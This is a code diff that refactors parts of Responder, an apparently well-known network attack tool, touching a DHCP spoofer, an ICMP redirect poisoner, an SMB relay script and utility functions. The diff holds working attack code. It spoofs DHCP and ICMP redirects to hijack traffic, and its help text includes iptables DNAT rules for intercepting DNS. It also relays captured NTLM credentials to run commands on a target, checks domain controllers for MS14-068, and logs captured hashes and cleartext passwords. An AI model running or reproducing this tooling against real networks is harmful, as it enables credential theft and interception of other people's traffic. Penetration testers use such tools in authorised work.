print text("[BROWSER] Domain : %s" % Domain)
|
||||
print text("[BROWSER] Name : %s" % Name)
|
||||
print text("[BROWSER] Main Role : %s" % Role1)
|
||||
print text("[BROWSER] 2nd Role : %s" % Role2)
|
||||
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
||||
print text("[BROWSER] Role List : %s" % Roles)
|
||||
|
||||
RAPThisDomain(self.client_address[0], Domain)
|
||||
RAPThisDomain(self.client_address[0], Domain)
|
||||
|
||||
lock.release()
|
||||
|
||||
#except Exception:
|
||||
# pass
|
||||
lock.release()
|
||||
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
self.allow_reuse_address = 1
|
||||
#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
|
|
|
@ -16,8 +16,6 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import struct
|
||||
import socket
|
||||
import re
|
||||
import optparse
|
||||
import ConfigParser
|
||||
import os
|
||||
|
@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0):
|
|||
if options.Interface is None:
|
||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
|
||||
exit(-1)
|
||||
|
||||
if options.RouterIP is None:
|
||||
elif options.RouterIP is None:
|
||||
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP is None:
|
||||
elif options.DNSIP is None:
|
||||
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP2 is None:
|
||||
elif options.DNSIP2 is None:
|
||||
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
|
||||
|
@ -230,22 +225,15 @@ def SpoofIP(Spoof):
|
|||
return ROUTERIP if Spoof else Responder_IP
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if len(RespondTo) and ClientIp not in RespondTo:
|
||||
elif RespondTo and ClientIp not in RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in RespondTo or RespondTo == []:
|
||||
elif ClientIp in RespondTo or RespondTo == []:
|
||||
if ClientIp not in DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def IsUDP(data):
|
||||
return True if data[0][23:24] == "\x11" else False
|
||||
|
||||
def ParseSrcDSTAddr(data):
|
||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
||||
|
@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data):
|
|||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
|
@ -270,21 +258,17 @@ def ParseDHCPCode(data):
|
|||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"), \
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"), \
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"), \
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
||||
ElapsedSec=Seconds)
|
||||
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Request
|
||||
if OpCode == "\x03" and Respond_To_Requests:
|
||||
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
|
@ -292,16 +276,11 @@ def ParseDHCPCode(data):
|
|||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
# DHCP Discover
|
||||
if OpCode == "\x01" and Respond_To_Requests:
|
||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
|
@ -309,12 +288,9 @@ def ParseDHCPCode(data):
|
|||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
|
@ -329,7 +305,7 @@ if __name__ == "__main__":
|
|||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
if data[0][23:24] == "\x11": # is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
|
|
|
@ -21,7 +21,7 @@ import struct
|
|||
import socket
|
||||
|
||||
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
|
||||
from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData
|
||||
from packets import SMB2Header, SMB2Nego, SMB2NegoData
|
||||
|
||||
def GetBootTime(data):
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
|
@ -35,12 +35,8 @@ def IsDCVuln(t):
|
|||
if t[0] < Date:
|
||||
print "DC is up since:", t[1]
|
||||
print "This DC is vulnerable to MS14-068"
|
||||
else:
|
||||
print "DC is up since:", t[1]
|
||||
print "DC is up since:", t[1]
|
||||
|
||||
def NbtLen(data):
|
||||
Len = struct.pack(">i", len(data))
|
||||
return Len
|
||||
|
||||
def run(host):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
@ -52,7 +48,7 @@ def run(host):
|
|||
Nego.calculate()
|
||||
|
||||
Packet = str(Header)+str(Nego)
|
||||
Buffer = NbtLen(Packet)+Packet
|
||||
Buffer = struct.pack(">i", len(Packet)) + Packet
|
||||
s.send(Buffer)
|
||||
|
||||
try:
|
||||
|
|
|
@ -15,55 +15,47 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,socket,struct,optparse,random,pipes
|
||||
import socket
|
||||
import struct
|
||||
import optparse
|
||||
import pipes
|
||||
from socket import *
|
||||
sys.path.append('../')
|
||||
from odict import OrderedDict
|
||||
from random import randrange
|
||||
from time import sleep
|
||||
from subprocess import call
|
||||
from pipes import quote
|
||||
from packets import Packet
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||
|
||||
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||
|
||||
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
||||
|
||||
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
||||
|
||||
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
||||
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
|
||||
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.OURIP is None:
|
||||
print "-i mandatory option is missing.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.OriginalGwAddr is None:
|
||||
elif options.OriginalGwAddr is None:
|
||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.VictimIP is None:
|
||||
elif options.VictimIP is None:
|
||||
print "-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.Interface is None:
|
||||
elif options.Interface is None:
|
||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.ToThisHost is None:
|
||||
elif options.ToThisHost is None:
|
||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
@ -81,31 +73,16 @@ ToThisHost2 = options.ToThisHost2
|
|||
Interface = options.Interface
|
||||
|
||||
def Show_Help(ExtraHelpData):
|
||||
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
||||
help+= ExtraHelpData
|
||||
print help
|
||||
print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
|
||||
print(ExtraHelpData)
|
||||
|
||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def GenCheckSum(data):
|
||||
s = 0
|
||||
for i in range(0, len(data), 2):
|
||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||
f = s+q
|
||||
f = s + q
|
||||
s = (f & 0xffff) + (f >> 16)
|
||||
return struct.pack("<H",~s & 0xffff)
|
||||
|
||||
|
@ -117,7 +94,6 @@ class EthARP(Packet):
|
|||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x06" ), #ARP
|
||||
|
||||
])
|
||||
|
||||
class ARPWhoHas(Packet):
|
||||
|
@ -131,7 +107,6 @@ class ARPWhoHas(Packet):
|
|||
("SenderIP", "\x00\xff\x53\x4d"),
|
||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||
("DstIP", "\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
@ -146,7 +121,6 @@ class Eth2(Packet):
|
|||
("DstMac", ""),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x00" ), #IP
|
||||
|
||||
])
|
||||
|
||||
class IPPacket(Packet):
|
||||
|
@ -163,7 +137,6 @@ class IPPacket(Packet):
|
|||
("SrcIP", ""),
|
||||
("DestIP", ""),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
|
@ -184,13 +157,10 @@ class ICMPRedir(Packet):
|
|||
("CheckSum", "\x00\x00"),
|
||||
("GwAddr", ""),
|
||||
("Data", ""),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
||||
|
|
|
@ -14,23 +14,11 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct, sys
|
||||
import struct
|
||||
import sys
|
||||
sys.path.append('../')
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet:
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
from packets import Packet
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
|
|
|
@ -14,13 +14,26 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread
|
||||
import sys
|
||||
import random
|
||||
import optparse
|
||||
import thread
|
||||
sys.path.append('../')
|
||||
from fingerprint import RunSmbFinger
|
||||
from odict import OrderedDict
|
||||
from utils import longueur
|
||||
from socket import *
|
||||
from RelayPackets import *
|
||||
from packets import *
|
||||
from servers.SMB import *
|
||||
from packets import Packet
|
||||
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
|
||||
def longueur(payload):
|
||||
return struct.pack(">i", len(''.join(payload)))
|
||||
|
||||
|
||||
def UserCallBack(op, value, dmy, parser):
|
||||
args=[]
|
||||
|
@ -44,19 +57,16 @@ if options.CMD is None:
|
|||
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.TARGET is None:
|
||||
elif options.TARGET is None:
|
||||
print "\n-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.UserToRelay is None:
|
||||
elif options.UserToRelay is None:
|
||||
print "\n-u mandatory option is missing, please provide a username to relay.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
# Set some vars.
|
||||
UserToRelay = options.UserToRelay
|
||||
Domain = options.Domain
|
||||
Command = options.CMD
|
||||
|
@ -67,25 +77,6 @@ print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gm
|
|||
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
|
||||
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
|
||||
|
||||
class Packet:
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#Logger
|
||||
import logging
|
||||
Logs = logging
|
||||
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
|
||||
|
||||
#Function used to verify if a previous auth attempt was made.
|
||||
def ReadData(outfile,Client, User, cmd=None):
|
||||
try:
|
||||
|
@ -93,19 +84,14 @@ def ReadData(outfile,Client, User, cmd=None):
|
|||
if cmd is None:
|
||||
String = Client+':'+User
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
if cmd is not None:
|
||||
String = Client+","+User+","+cmd
|
||||
if re.search(String.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
return False
|
||||
except:
|
||||
raise
|
||||
|
||||
|
@ -123,7 +109,6 @@ def ParseHash(data,Client, Target):
|
|||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
print "Username : ",Username
|
||||
|
@ -135,7 +120,6 @@ def ParseHash(data,Client, Target):
|
|||
Username, Domain = tuple(var)
|
||||
if ReadData("SMBRelay-Session.txt", Client, Username):
|
||||
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
|
||||
pass
|
||||
if Username in UserToRelay:
|
||||
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
|
||||
LMHashing = data[65:65+LMhashLen].encode('hex').upper()
|
||||
|
@ -145,9 +129,6 @@ def ParseHash(data,Client, Target):
|
|||
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
|
||||
else:
|
||||
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
|
||||
pass
|
||||
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
|
@ -157,12 +138,10 @@ def Is_Anonymous(data):
|
|||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
print "SMB Anonymous login requested, trying to force client to auth with credz."
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def ParseDomain(data):
|
||||
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
return Domain
|
||||
return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
|
|
139
utils.py
139
utils.py
|
@ -21,7 +21,7 @@ import logging
|
|||
import socket
|
||||
import time
|
||||
import settings
|
||||
import struct
|
||||
|
||||
try:
|
||||
import sqlite3
|
||||
except:
|
||||
|
@ -29,76 +29,65 @@ except:
|
|||
sys.exit(0)
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
|
||||
if txt.startswith('[*]'):
|
||||
settings.Config.PoisonersLogger.warning(txt)
|
||||
|
||||
elif 'Analyze' in txt:
|
||||
settings.Config.AnalyzeLogger.warning(txt)
|
||||
|
||||
# No colors for windows...
|
||||
if os.name == 'nt':
|
||||
if os.name == 'nt': # No colors for windows...
|
||||
return txt
|
||||
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def text(txt):
|
||||
logging.info(txt)
|
||||
|
||||
if os.name == 'nt':
|
||||
return txt
|
||||
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
|
||||
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net += '/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
|
||||
if settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
||||
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
||||
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
|
||||
return False
|
||||
|
||||
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
|
||||
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
|
||||
return False
|
||||
|
||||
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
|
||||
if ClientIp not in settings.Config.DontRespondTo:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisName(Name):
|
||||
|
||||
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
|
||||
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
||||
return False
|
||||
|
||||
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
if Name.upper() not in settings.Config.DontRespondToName:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def RespondToThisHost(ClientIp, Name):
|
||||
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
||||
|
||||
def IsOsX():
|
||||
return True if settings.Config.Os_version == "darwin" else False
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return False if IsOsX() else True
|
||||
else:
|
||||
return False
|
||||
return not IsOsX()
|
||||
return False
|
||||
|
||||
def IsOsX():
|
||||
Os_version = sys.platform
|
||||
if Os_version == "darwin":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return sys.platform == "darwin"
|
||||
|
||||
def FindLocalIP(Iface, OURIP):
|
||||
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
|
||||
|
@ -112,40 +101,29 @@ def FindLocalIP(Iface, OURIP):
|
|||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
return OURIP
|
||||
except socket.error:
|
||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
|
||||
if not os.path.isfile(outfile):
|
||||
with open(outfile,"w") as outf:
|
||||
outf.write(data)
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
outf.write(data + '\n')
|
||||
return
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
return False
|
||||
elif re.search(re.escape("$"), user):
|
||||
return False
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data + '\n')
|
||||
|
||||
else:
|
||||
with open(outfile,"r") as filestr:
|
||||
if re.search(user.encode('hex'), filestr.read().encode('hex')):
|
||||
filestr.close()
|
||||
return False
|
||||
if re.search(re.escape("$"), user):
|
||||
filestr.close()
|
||||
return False
|
||||
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data)
|
||||
outf2.write("\n")
|
||||
outf2.close()
|
||||
|
||||
def SaveToDb(result):
|
||||
|
||||
# Creating the DB if it doesn't exist
|
||||
if not os.path.exists(settings.Config.DatabaseFile):
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
|
@ -169,32 +147,23 @@ def SaveToDb(result):
|
|||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
# We add a text factory to support different charsets
|
||||
cursor.text_factory = sqlite3.Binary
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if count == 0:
|
||||
|
||||
# If we obtained cleartext credentials, write them to file
|
||||
# Otherwise, write JtR-style hash string to file
|
||||
if not count:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']):
|
||||
outf.write('%s:%s' % (result['user'], result['cleartext']))
|
||||
else:
|
||||
outf.write(result['fullhash'])
|
||||
outf.write("\n")
|
||||
outf.close()
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'], result['cleartext']))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')
|
||||
|
||||
# Update database
|
||||
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
# Print output
|
||||
if count == 0 or settings.Config.Verbose:
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
||||
if len(result['hostname']):
|
||||
|
@ -213,30 +182,22 @@ def SaveToDb(result):
|
|||
# Appending auto-ignore list if required
|
||||
# Except if this is a machine account's hash
|
||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||
|
||||
settings.Config.AutoIgnoreList.append(result['client'])
|
||||
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
|
||||
|
||||
else:
|
||||
print color('[*]', 3, 1), 'Skipping previously captured hash for %s' % result['user']
|
||||
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
|
||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||
return False
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
||||
return True
|
||||
|
||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
||||
return True
|
||||
return False
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
def Decode_Name(nbname):
|
||||
#From http://code.google.com/p/dpkt/ with author's permission.
|
||||
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
|
||||
|
@ -248,12 +209,12 @@ def Decode_Name(nbname):
|
|||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
|
||||
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
|
||||
except:
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
|
||||
def NBT_NS_Role(data):
|
||||
Role = {
|
||||
return {
|
||||
"\x41\x41\x00":"Workstation/Redirector",
|
||||
"\x42\x4c\x00":"Domain Master Browser",
|
||||
"\x42\x4d\x00":"Domain Controller",
|
||||
|
@ -261,12 +222,10 @@ def NBT_NS_Role(data):
|
|||
"\x42\x4f\x00":"Browser Election",
|
||||
"\x43\x41\x00":"File Server",
|
||||
"\x41\x42\x00":"Browser",
|
||||
}
|
||||
}.get(data, 'Service not known')
|
||||
|
||||
return Role[data] if data in Role else "Service not known"
|
||||
|
||||
def banner():
|
||||
|
||||
banner = "\n".join([
|
||||
' __',
|
||||
